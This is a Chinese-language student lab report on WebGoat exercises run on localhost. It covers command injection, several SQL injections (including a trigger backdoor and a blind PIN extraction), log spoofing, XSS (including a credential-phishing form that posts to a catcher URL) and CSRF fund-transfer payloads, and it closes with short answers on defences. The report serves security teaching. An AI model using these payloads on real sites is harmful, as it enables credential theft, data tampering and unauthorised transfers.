Exp9 Web安全基础
Injection Flaws攻击
- 命令注入(Command Injection)
- 数字型SQL注入(Numeric SQL Injection)
- 日志欺骗(Log Spoofing)
- stage1 SQL Injection
- 字符串型注入(String SQL Injection)
- 数据库后门(Database Backdoors)
- 数字型盲注入(Blind Numeric SQL Injection)
XSS攻击
- Phishing with XSS
- Stored XSS Attacks
- Reflected XSS Attacks
CSRF攻击
- Cross Site Request Forgery(CSRF)
- CSRF Prompt By-Pass
1.实践过程记录
安装jdk和webgoat
卸载原jdk,更换jdk版本为1.8,通过java -version检测
下载webgoat-container-7.0.1-war-exec.jar文件
使用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。
在含有“webgoat-container-7.0.1-war-exec.jar”文件的目录下执行java -jar webgoat-container-7.0.1-war-exec.jar
在浏览器中输入“http://localhost:8080/WebGoat”,进入页面后,使用提供的用户名密码登录;
Injection Flaws攻击
1.命令注入(Command Injection)
点击 Injection Flaws -> Command Injection
右键点击复选框,选择inspect Element。对源代码进行修改,在"helpfile"后添加"& netstat -an & ipconfig"。
点击view,查看命令执行结果
2.数字型SQL注入(Numeric SQL Injection)
点击 Injection Flaws -> Numeric SQL Injectio
右键点击复选框,选择inspect Element。对源代码value="101"修改,在101后面添加or 1=1。
点击Go,攻击成功
3.日志欺骗(Log Spoofing)
点击Injection Flaws -> Log Spoofing
在User Name中输入webgoat%0d%0aLogin Succeeded for username: admin
输入密码后点击Login,可以看到webgoat在Login Fail上一行,自己添加的语句在下一行,攻击成功
4. stage1 SQL Injection
点击Injection Flaws -> LAB stage1 :String SQL Injection
在密码框输入' or 1=1 --,登录失败,发现密码输入长度有限制。
密码框右键选择inspect Element对长度进行修改maxlength=20。
重新输入' or 1=1 --,攻击成功
5.字符串型注入(String SQL Injection)
点击Injection Flaws -> String SQL Injection
输入' or 1=1--,即插入永真式1=1,且--注释掉后面的内容,select表中所有数据
6.数据库后门(Database Backdoors)
点击Injection Flaws -> Database Backdoors
输入101,获得用户信息
输入101; update employee set salary=10000
创建触发器,触发器在创建新用户时,将新用户的Email 地址设置为攻击者的地址。
101;CREATE TRIGGER 1BackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE
employee SET email='chm@sohu.com' WHERE userid = NEW.userid
7.数字型盲注入(Blind Numeric SQL Injection)
点击Injection Flaws ->Blind Numeric SQL Injection
有些SQL注入只能通过条件的“真”和“假”进行判断,即页面提示有效或无效。
但也可以利用系统后台在用的查询语句:SELECT * FROM user_data WHERE userid=accountNumber;求pin值
输入查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。
输入101 ,页面返回Account number is valid,页面将提示帐号有效
利用AND函数,并上查询条件,若条件为真,则返回结果应提示帐号有效,否则无效
输入可以判断PIN数值是否大于3000的语句,101 AND ((SELECT pin FROM pins
WHEREcc_number='1111222233334444') > 10000 );
如果页面提示帐号有效,说明PIN>3000 否则 PIN<=3000
利用二分法,不断尝试最终求出PIN 的值。最终如下语句返回帐号有效:101 AND ((SELECT pin FROM pins
WHEREcc_number='1111222233334444') = 2364 );
XSS攻击
1.Phishing with XSS
利用xss和html注入制作一个钓鱼网站
在搜索框中输入XSS攻击代码,在已存在的页面中进一步添加元素。XSS攻击代码如下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
在搜索框中输入攻击代码后点击搜索,出现要输入用户名密码的表单
输入用户名密码,点击登录,WebGoat显示攻击成功
2.Stored XSS Attacks
创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容,
在message中输入<script>alert("lxm attack succeed!");</script>,提交
提交后,再次点击刚刚创建的123帖子,成功弹出窗口,说明攻击成功:
3.Reflected XSS Attacks
这个实验和存储型XSS实验效果相同,但存储型XSS攻击代码是存储在服务器中,反射型XSS攻击需要用户自己去点击链接才能触发XSS代码。
将带有攻击性的URL作为输入源,输入<script>alert("attack succeed!");</script>,点击purchase;
CSRF攻击
1.Cross Site Request Forgery(CSRF)
写一个URL诱使其他用户点击,从而触发CSRF攻击,以图片的的形式将URL放进Message框,当用户点击图片,就会触发CSRF。
在message框中输入代码<img src="http://localhost:8080/WebGoat/attack?Screen=325&menu=900&transferFunds=4000"/>
Screen=325&menu=900在右侧可见
提交后,消息显示转走用户4000元,实现CSRF攻击。
2.CSRF Prompt By-Pass
在message中写入以下两行攻击代码
<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>
构造CSRF攻击,包括了两个请求,转账请求和确认转账成功请求,传递两个参数给服务器
transferFunds=5000,transferFunds=CONFIRM
攻击成功
2.回答问题
(1)SQL注入攻击原理,如何防御
原理:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
如何防御:对代码进行处理,使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;采用字符串过滤;jsp中调用该函数检查是否包含非法字符。
(2)XSS攻击的原理,如何防御
原理:代码注入,XSS攻击允许恶意用户将代码注入到网页上,并能够被浏览器成功的执行,获取目标攻击网站cookie,使其他用户受到影响。
如何防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容。
(3)CSRF攻击原理,如何防御
原理:CSRF是借用用户的身份,向web server发送请求,跨站请求伪造。
如何防御:输入验证码来检测用户;设定cookie域。
3.实验总结与体会
通过本次实验,了解了SQL注入攻击,XSS攻击和CSRF的基本原理和操作。在webgoat上的简单注入,修改代码的练习,增加了我对三种攻击方式的理解,
提高了安全意识。